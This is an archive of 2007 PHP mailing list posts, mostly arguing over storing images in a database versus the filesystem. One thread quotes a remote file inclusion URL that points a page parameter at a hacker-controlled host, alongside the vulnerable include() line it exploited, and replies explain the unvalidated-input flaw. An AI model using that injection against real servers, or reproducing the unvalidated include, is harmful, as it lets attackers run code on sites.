Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
On Friday 02 March 2007 14:48, tedd wrote: At 5:24 PM -0600 3/1/07, Richard Lynch wrote: On Wed, February 28, 2007 6:41 pm, Robert Cummings wrote: What about when you need to share those files across a 50 node network? I'd keep it in a database, then when I need it cache a local copy on the filesystem. Then I can just check the timestamp in the database to see if the file has changed. Voila, multi-node high availability images. Seems better than have a local copy of every single image. I guess the answer is... it depends on what you're doing! Add an image server (or 20) and change the HTML to point to the image server. Use rsync on the 20 image client servers from the master image server. Lots of ways to skin this cat. But the cat ain't going to like any of them. I don't particulary like cats... tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- --- Børge Kennel Arivene http://www.arivene.net --- -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Combining sound files
At 1:37 PM -0500 3/2/07, tedd wrote: At 5:28 PM -0600 2/27/07, Richard Lynch wrote: You may find it easier/faster to just locate a .wav splicer command line tool and run exec with it. Though perhaps not nearly as fun, depending on your definition of fun. Richard: Nah, it's easier to bit twiddle the sound files and I found an easy way to combine them. It's funny what a few bytes of data can do. :-) What's ya think of this -- does it work for you? http://sperling.com/examples/captcha/ Cheers, tedd Oops, it was just supposed to go to Richard. Sorry. tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB*
At 1:49 PM -0500 3/2/07, Brad Bonkoski wrote: Overall this has been a cool and interesting thread. For the most part, I would say I side with Mark, but again the fatal flaw appears to be the insistence that one approach is right in 100% of the time...which 99% of the time is false. -B Brad: You can't have it both ways -- either some of what I say is true, or none of it is true. If it's not true, then you can side with Mark. But, if it is true then you cannot side with Mark. That's the reason for this discussion, not to see where the majority of opinions falls. I seldom use dB's to store images either, but on occasion it is preferable and is certainly not bad practice to do so, as Mark claims. Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
At 7:52 PM +0100 3/2/07, Børge Holen wrote: On Thursday 01 March 2007 22:24, Richard Lynch wrote: I believe that for a newbie, it would be easier to use the filesystem rather than the DB. THAT on the other hand is BS! not to jerk around with you, but no and HELL no. Storing in the database was the easy way out, I started using the filesystem cuz of both a limitation in a forum AND a few mails from you. But easier... NO. Børge: I'm lost. As a newbie, is storing an image in a dB a good thing or a bad thing? tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
On Friday 02 March 2007 21:13, tedd wrote: At 7:52 PM +0100 3/2/07, Børge Holen wrote: On Thursday 01 March 2007 22:24, Richard Lynch wrote: I believe that for a newbie, it would be easier to use the filesystem rather than the DB. THAT on the other hand is BS! not to jerk around with you, but no and HELL no. Storing in the database was the easy way out, I started using the filesystem cuz of both a limitation in a forum AND a few mails from you. But easier... NO. Børge: I'm lost. Yes, I was refering to that the reason Richard gave; that it is easier to use the filesystem rather than the database to store files. As a newbie, is storing an image in a dB a good thing or a bad thing? I would say, depends on yer project. In my case; it lean out towards 4000 records, close to 3000 x 2 (cuz of thumbnails) images (be that of any size beneath 640x480). Some of Richards earlier statements made me do some rather large forum applications, wheras I made the images go to the filesystem. Both because I didn't know how, and wanted each record inserted to hold up 20 images in one submit, this was the clearly logical solution. However... 6000 small files (and a sub if obliged) I cannot see one heck of a good reason NOT to hold storage in a database... Imagine the rotten backup cyclus. THAT particlulary mysqldump really make me feel good, each time the cron does an automated backup!!! As for answering yer question in a short matter. Good thing... Keeping track of authenticated users and watermarked images and keeping regular users at bay, how can we NOT take adventage of this magnificent tool? Yes I see how hardcore users working for yahoogoogleland and make a dumperload of money at each project delivery may choose well proved techiques... BUT HELL, I do help people who asks, last year I got a bottle of Pepsi. No complaints so far ;D, and btw: I like it fashionable, pretty, swell and fenomenal not just adequate. tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- --- Børge Kennel Arivene http://www.arivene.net --- -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
But storing them in the DB invariably ends up with too many issues involving DB storage size and query buffer size, compounded by data escaping/security issues. This on the other hand... I'm a newbie, whatever your saying, BUT and it is a big one; The data has to be escaped anyway, the binary object has to be checked for security breaches with or without the database, so this is reason is by all means wrongly put. Depends. Use a prepared statement and mysqli for example, and there is no escaping. You should still do a virus scan first, however. Doesn't matter how you store things. As a newbie, is storing an image in a dB a good thing or a bad thing? I tend to go with depends. We actually store files in a DB in development, as those machines are separate from the grid. Since some are windows, linux, and MacOS, it is far easier to store in a DB than have different code for each development machine depending on their filesystem. Otherwise, in production, neither way really works, so there is the hybrid way I alluded to before. If you are on a hosted server, you may have different filesystem and database limits for storage. That could make the decision for you. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Using mysqli_stmt_bind_param in a class - with variable parameters?
Hi all,
I would like to ask you if anyone of you ever did something like that or
might tell me how to do this.
I am currently switching from PHP4 to PHP5 and mySQL4 to mySQL5.
On account of this, I would like to use the improvements of ext/mysqli
instead of the old ext/mysql. So I need to do a rewrite on my database
class and as of this, I would like to add new functions such as prepared
statements, which are obviously supported by mysqli.
In fact, I would like to write a method within my class like this:
public function bindParam($str_types, $var_variable)
{
// Code
$mysqli_stmt-bind_param($str_types, $var_variable);
}
This method is supposed to be called like this ($result is an object of
that class)
$result-bindParam(s, $username);
$username = username;
That does work out already, but I would like to add more parameters like
this:
$result-bind_param(, $username, $email, $me, $you);
As I don't want to write a method with 50 optional parameters (I needed
to add one if I were to use 51 variables), I would like to solve this
problem dynamically. In fact, I tried to recall the bind_param method of
mysqli_stmt several times, but I have to call it only once as PHP
requires me to do this. (I get an error otherwise that the number of
variables isn't fitting to the prepared statement)
So I have to pass all parameters in one call.
I also tried eval() but that didn't really work out, either.
Now, my question is: What can I do to solve this problem? Is there any
elegant way of doing this?
Thanks in advance for any inspiration (and I hope I could make myself
clear).
Yours sincerely
Christian Heinrich
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB*
At 10:01 AM -0500 3/1/07, markw@mohawksoft.com wrote: If you are open to honestly consider, then I shall provide a couple of examples. But if I do and you do not agree, then your only recourse will be to *prove* otherwise. So, what say you? Absolutely, I'm all about computer science. Give me some real world examples and I'll show you the flaws. -snip- What do *you* say? Mark: Well... it's not just me, but from what I've learned and read over the years. Your claim is that in ALL cases using a file system to store images is preferable to using a database. As such, you claim that using a dB for storing images is bad practice. That is fairly close to my professional opinion, yes. There is, of course, always the exception to any rule, but in general, I would call storing bitmaps in a database without a damn good reason, a bad practice, yes. My claim is that both methods have their advantages and disadvantages, as I said in my opening post on this thread Both techniques have up-sides and down-sides -- and I use both depending upon needs. I would say that the error is that you weight each approach equally, and that one is clearly a bad practice for the various reasons I have posted. Part of the problem here is that we are using subjective terms such as bad practice and preferable methodologies. So a bit of objectivity is in order. Such terms can be viewed from different perspectives, such as time taken, cost in equipment, ease of use, and many other such concerns. One can not view the act of using a wrench as a hammer as anything but a bad practice. I'm sure at one time or another, we have all used a wrench as a hammer, but that in no way justifies an opinion that using a wrench as a hammer is appropriate. It may be necessary or convenient at some point in time, but not something one designs as a solution. However, I realize that what's preferable and bad practice for you may differ for me and therein provides an opportunity for you to pass on *proving* that none of the following fits within in your considerations and restrictions. But, that's Okay -- you can keep your opinion. I am only offering what I believe to be relevant because you said you would honestly consider it. Hiding behind opinion is too easy. There are things that are better than others. Quality sucks in the software world largely because proper use of technologies is not understood. The following are the things I consider important for this discussion: Consideration 1 Storing images in a database bloats the database and you're more likely to approach memory limits of your operating system. However, storing images the file system, likewise may cause lookups to become slower on some operating systems than using a dB (Granted this is a weak consideration, but I read it, so it must be true.) :-) this is far too weak and unspecific to really address. Bloat is a subjective title. And lookups to become slower either encompasses failures of specific file systems or approach. Consideration 2 If your project is to supply images across several web servers on different host, then you are caught in a sync problem. Images stored in a file system must be stored on a local host. In a multiple host situation you must have a duplicate set of images on each host. Synchronizing images across different files systems on different host is far more complicated and problematic than maintaining a single database from which all host can draw the most current images. This is a complete fallacy. It fails on a few assumptions. (1) If you assume that you have one database supply all the images to all your servers, then you merely need to expose an images.domain.com URL that contains all your images. That will be faster and more efficient than a single database. (2) Again, assuming one machine supply all data, a back-end apache server serving images from one machine through a validated PHP pass through is still more efficient than a database. (3) Assuming that you want to distribute database images, there are many tools to accomplish this, not the least of which is rsync. Consideration 3 Storing images images in a file system and their location in a database is a two step process in all image operations. If your project requires a transactions, then it's obviously more difficult to accomplish for not only do you have to do two operations, but they must take place in two domains. Whereas, if you store images in a database it is a simple matter to add, alter, and delete because it's one operation and thus no need to confirm that the file system and database remain in sync. This is a purely hypothetical and easily solved problem, if you can even create a scenario that would cause it. First of all, assuming a requirement of ACID transactions, one create the bitmap file name using something like a UID, save the bitmap to the disk using fsync() to ensure it is committed to disk, then update
Re: [PHP] Re: how to display images stored in DB
Not in my environment. All db servers have RAID 10 over 8 SCSI 15K disks. Pulling from them is always faster than a webserver pulling from its SATA drive. That's not exactly an apples to apples comparison. That is true, and sort of the point. Not really, anything that you provide for the database, could equally be used for the image server. However, the whole thing started because someone was asking a trivial question. The assumption there is that they are on a hosted environment, likely with the the web server and the database on the same server. Chances are the filesystem will be a better bet for them for speed. But on such a system, the speed difference may not be much of a concern. Where I am, I am forced to think about different things, so my viewpoint may be improperly colored. Its completely random that I'm posting to this list at all... Also, there is issue of going to the database and going to the filesystem. Timing wise, you Please explain. I'm making assumptions about the layout again. The database will likely already have the table files opened, but will need a seek to get the data. The webserver will have to do an additional seek (I was assuming on a far slower drive system, and likely twice for stat and read). I'm not sure I trust this assessment.If it is an often used image it will be in OS level cache. If it is not, then you will have the I/O. Regardless, it will be using SQL database cache blocks and reduce the efficacy of the SQL cache. Putting the files in the DB doesn't always remove extra cleanup/management stuff. Sometimes the database stores binary objects as files and sometimes they don't get deleted correctly. I'm dying to know what database you are using that puts every blob in a separate file these days. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB*
It is funny, but most people don't get the fact that SQL databases are not the best way to store data. They are designed to select algebraic relationships from a data set. They are designed to ensure accuracy of the relationships and the integrity of the data. Like blobs in separate files, this is a very old perspective. Not to say incorrect, but they have evolved into more analytical information storage servers in the last 15 years. Hmm that sounded like marketing speak. !! I better get back to work... bye all! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
I'm making assumptions about the layout again. The database will likely already have the table files opened, but will need a seek to get the data. The webserver will have to do an additional seek (I was assuming on a far slower drive system, and likely twice for stat and read). I'm not sure I trust this assessment.If it is an often used image it will be in OS level cache. If it is not, then you will have the I/O. Regardless, it will be using SQL database cache blocks and reduce the efficacy of the SQL cache. Remember, I don't use a db to store images, for a variety of reasons, mostly in that centralized repositories of anything don't scale. However, if your hardware is far more than than you userbase will need, the SQL server's caching won't matter, and it will be faster. Not that it matters, since it would be a more expensive setup than necessary. Ease of programming wise, or in the one case where we use it: ease of developer setups, it works better. Those are really just configuration issues and a syncing issues across platforms. Storing everything on one machine does not scale. And as to the slashdot effect -- snore. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
# [EMAIL PROTECTED] / 2007-03-02 21:37:48 +0100: However... 6000 small files (and a sub if obliged) I cannot see one heck of a good reason NOT to hold storage in a database... Imagine the rotten backup cyclus. I cannot imagine it. What was the problem? -- How many Vietnam vets does it take to screw in a light bulb? You don't know, man. You don't KNOW. Cause you weren't THERE. http://bash.org/?255991 -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Your input would be appreciated.
Hello, In some questions, you can use combobox for easiest data analysis such as countries . except this, it's very good survey:) -- Haydar TUNA Republic Of Turkey - Ministry of National Education Education Technology Department Ankara / TURKEY Web: http://www.haydartuna.net [EMAIL PROTECTED], haber iletisinde sunlari yazdi:[EMAIL PROTECTED] Hello My name is Lara Thynne and I am a PhD candidate at Deakin University Australia. I am currently running a survey at the following address. https://dcarf.deakin.edu.au/surveys/oss/ The survey is completely confidential and looks at your views and motivations to use Open Source software and to participate in the community. It will only take a few minutes and your contact details will not be recorded. You can withdraw your participation at any stage. I sincerely apologize for the spammish nature of this e-mail - I don't mean to abuse this list. I am trying to collect responses from as many open source developers and users as possible and a mailing list like this is probably the best way to reach many of you. Please personally CC me with any questions/comments posted to the list in response. Thanks again Lara P.S The program that I am using is open source, of course (www.phpsurveyor.org)! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
On Saturday 03 March 2007 00:00, Roman Neuhauser wrote: # [EMAIL PROTECTED] / 2007-03-02 21:37:48 +0100: However... 6000 small files (and a sub if obliged) I cannot see one heck of a good reason NOT to hold storage in a database... Imagine the rotten backup cyclus. I cannot imagine it. What was the problem? No problem... Just ugliness... and some afterthought. The complete dataset spread out over more than 6000 files instead of one. Using tar and bunzip2 on the amount of files and at the same time.. also do a sqldump of all the rest of the information... glue together and send it off to backup storage... Just seems so someone put in a word. If something happens now, I just rollback, no fuzz. Backup is scheduled once a day and gives me all the safety needed to keep it live'n kicking. Last time this case was up for discussion, I got the lecture from Richard, whereas he gave me quite a few good pointers on the file storage subject, witch I've implemented in my present and future project (Thanks Richard), but see absolutely no reason to rollback over the previously mentioned project with the images. It just doesn't fit the task at hand. Use the tool fitted for the task and databases is _A_ tool, and a good one at that, but even I can see many ways to missuse it, and the reason is simple; The first thing one find if searching for many php file storage topics is easy and even easier solutions to store images in a blob rather than the filesystem witch actually requires some thinking. So one should probably STRONGLY suggest otherwise if someone asks, but one should not ban it, cuz is has its moments -- --- Børge Kennel Arivene http://www.arivene.net --- -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question on virus/worms
Seak, Teng-Fong wrote: But after I've spent some time reading the log files, I've finally found out how the hackers managed to achieve worm infiltration. Actually, they're using an URL like this: http://my-domain.com/index.php?page=http://hacker-domain.com/some-worm-file.txt? And the some-worm-file.txt file contains some PHP code, while my index.php contains this instruction: include($page.php); This is enough to make infiltration possible! IMO, this instruction is supposed to be used like this, isn't it? So this is obviously a PHP security loophole and I don't see how the poorly written scripts can help anything unless a totally rewrite! And there's no poor server security that I can see. You mean to say that you're not validating what you're getting from the user? Frankly you deserve everything you get. This is *not* a security loophole, it *is* a poorly written script. I've installed PHP5 and the problem seems fixed. However, PHP writes out where the problem occurs! Indeed, the hacker could read a line like this: Warning: include() [function.include]: URL file-access is disabled in the server configuration in C:\Inetpub\wwwroot\index.php on line X I don't want them (the hackers) to be able to read this either. That gives too much information about my server's file system. How can I stop that? Read the manual, specifically the error_reporting part. You can turn the display of these messages off. By the way, I know there're still a lot of servers out there still using PHP4. Is this vulnerability a known bug? At least, I'm not aware of that before! It's not a bug. It will never be a bug. Yes PHP5 (I believe it's 5.2+) introduces the ability to turn off the ability to prevent this issue, but it's still badly written code. Stop blaming the tool, start blaming the mirror image and start learning how to code defensively. -Stut -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
I'm making assumptions about the layout again. The database will likely already have the table files opened, but will need a seek to get the data. The webserver will have to do an additional seek (I was assuming on a far slower drive system, and likely twice for stat and read). I'm not sure I trust this assessment.If it is an often used image it will be in OS level cache. If it is not, then you will have the I/O. Regardless, it will be using SQL database cache blocks and reduce the efficacy of the SQL cache. Remember, I don't use a db to store images, for a variety of reasons, mostly in that centralized repositories of anything don't scale. Finally someone has something that sounds like a well constructed thought. However, if your hardware is far more than than you userbase will need, the SQL server's caching won't matter, and it will be faster. The good enough fallacy again. Not that it matters, since it would be a more expensive setup than necessary. Using hardware and resources more effectively is seldom more expensive. Ease of programming wise, or in the one case where we use it: ease of developer setups, it works better. I've never seen it in practice. A trivial procedural rule during development is not a big deal. Those are really just configuration issues and a syncing issues across platforms. Storing everything on one machine does not scale. And as to the slashdot effect -- snore. It is a handy short hand for heavy access, and it is a big concern if you have a popular site or hope to have one. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB*
It is funny, but most people don't get the fact that SQL databases are not the best way to store data. They are designed to select algebraic relationships from a data set. They are designed to ensure accuracy of the relationships and the integrity of the data. Like blobs in separate files, this is a very old perspective. Not as old as you may think. Most databases use fixed block sizes. This, obviously, allows an efficient buffer caching system. Be it MySQL, PostgreSQL, SQLite3, etc. BLOBS don't fit into the blocks well. So, some method must be used to store this data in a way that does not mess up the nice buffering system. PostgreSQL uses TOAST, which is kind of cool. It stores large data in a separate table file. Even allows compression. MySQL MyISAM, if I recall correctly, stores the binary data in a separate unique block for blobs. Oracle still allows you to store BLOBs outside of the tablespace. Not to say incorrect, but they have evolved into more analytical information storage servers in the last 15 years. People who think the past have no importance in the present are mistaken. My information was not old but your interpretation was ignorant. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB*
On Fri, 2007-03-02 at 17:31 -0500, markw@mohawksoft.com wrote: Your claim is that in ALL cases using a file system to store images is preferable to using a database. As such, you claim that using a dB for storing images is bad practice. That is fairly close to my professional opinion, yes. There is, of course, always the exception to any rule, but in general, I would call storing bitmaps in a database without a damn good reason, a bad practice, yes. Ah, you've changed your tune. Thanks for coming out. Cheers, Rob. -- .. | InterJinn Application Framework - http://www.interjinn.com | :: | An application and templating framework for PHP. Boasting | | a powerful, scalable system for accessing system services | | such as forms, properties, sessions, and caches. InterJinn | | also provides an extremely flexible architecture for | | creating re-usable components quickly and easily. | `' -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] best framework (pear vs zend framework)
This one time, at band camp, Marco Sottana [EMAIL PROTECTED] wrote: which is the best framework ? pear or zend framework? None of the above... -- Democracy is two wolves and a lamb voting on what to have for lunch. Liberty is a well-armed lamb contesting the vote. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB*
On Fri, 2007-03-02 at 17:31 -0500, markw@mohawksoft.com wrote: Your claim is that in ALL cases using a file system to store images is preferable to using a database. As such, you claim that using a dB for storing images is bad practice. That is fairly close to my professional opinion, yes. There is, of course, always the exception to any rule, but in general, I would call storing bitmaps in a database without a damn good reason, a bad practice, yes. Ah, you've changed your tune. Thanks for coming out. I haven't changed any tune what so ever. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB*
On Fri, 2007-03-02 at 22:53 -0500, markw@mohawksoft.com wrote: On Fri, 2007-03-02 at 17:31 -0500, markw@mohawksoft.com wrote: Your claim is that in ALL cases using a file system to store images is preferable to using a database. As such, you claim that using a dB for storing images is bad practice. That is fairly close to my professional opinion, yes. There is, of course, always the exception to any rule, but in general, I would call storing bitmaps in a database without a damn good reason, a bad practice, yes. Ah, you've changed your tune. Thanks for coming out. I haven't changed any tune what so ever. Uhm, ookaay dky then. I guess it's a good thing that the archives tell the real story... not to mention the readers of the list don't exactly have short memories. Cheers, Rob. -- .. | InterJinn Application Framework - http://www.interjinn.com | :: | An application and templating framework for PHP. Boasting | | a powerful, scalable system for accessing system services | | such as forms, properties, sessions, and caches. InterJinn | | also provides an extremely flexible architecture for | | creating re-usable components quickly and easily. | `' -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] problems with thumbnail image
On Friday 02 March 2007 21:59, Roberto Mansfield wrote: The problem is that your function generates thumbnail and then tries to return the binary image within the html document. Html contains *links* to images, not the images themselves. So you need to do something like this: img src=create_thumbnail.php?filename=? echo $photo_img_name; ? Then you create_thumbnail.php can return the binary image: ? // be sure to validate the user supplied parameter! $photo_img_name = $_REQUEST['filename']; $percent = 0.5; list($width, $height) = getimagesize($photo_img_name); $newwidth = $width * $percent; $newheight = $height * $percent; $thumb = imagecreatetruecolor($newwidth, $newheight); $source = imagecreatefrompng($photo_img_name); imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height); // or whatever the correct mime/type is header(Content-type: image/png); echo imagepng($thumb); } I assumed there are no problems with the html part of things as the original image was being display perfectly. Guess thats where the difference between newbies and old hands is evident. I have added the suggested validation. Many thanks for all the help. regards Punit Neb -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
